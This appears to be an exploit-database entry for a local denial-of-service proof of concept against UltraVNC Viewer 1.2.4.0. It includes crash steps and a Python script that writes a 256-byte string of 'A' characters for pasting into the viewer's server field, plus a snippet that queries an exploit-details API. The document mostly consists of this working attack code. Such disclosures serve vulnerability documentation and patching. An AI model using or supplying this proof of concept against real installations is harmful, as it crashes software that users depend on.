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"UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)"

Author

Exploit author

chuyreds

Platform

Exploit platform

windows

Release date

Exploit published date

2020-04-06

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# Exploit Title:  UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Viewer_VNCServer.py
#2.- Open UltraViewer_VNCServer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraVNC_1.2.40-Viewer_VNCServer.txt', 'w')
f.write(cod)
f.close()
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48291/?format=json')

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